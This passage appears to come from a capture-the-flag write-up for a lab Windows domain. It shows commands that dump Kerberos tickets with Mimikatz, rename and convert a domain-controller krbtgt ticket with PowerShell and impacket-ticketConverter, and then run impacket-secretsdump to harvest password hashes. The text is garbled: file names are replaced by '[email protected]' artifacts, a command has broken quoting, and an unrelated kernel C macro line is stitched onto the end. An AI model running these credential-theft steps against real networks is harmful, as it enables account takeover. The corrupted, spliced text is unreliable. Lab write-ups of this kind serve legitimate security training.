sekurlsa::tickets /export

But we need to rename the complex name for the ticket, using a relatively complex command:

PowerShell
Rename-Item -LiteralPath '.\[0;1ec5f69][email protected]' -NewName ''DC01$@krbtgt-GHOST.HTB.kirbi''

When dealing with paths that contain characters like brackets ([ and ]), dollar signs ($), and semicolons (;), PowerShell treats them as special characters or wildcards. This can cause issues when attempting to manipulate these files directly.

Transfer it to our attack machine, and convert it to .ccache format:

Bash
impacket-ticketConverter '[email protected]' '[email protected]'

Use impacket-secretsdump, saving hashes for future use.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)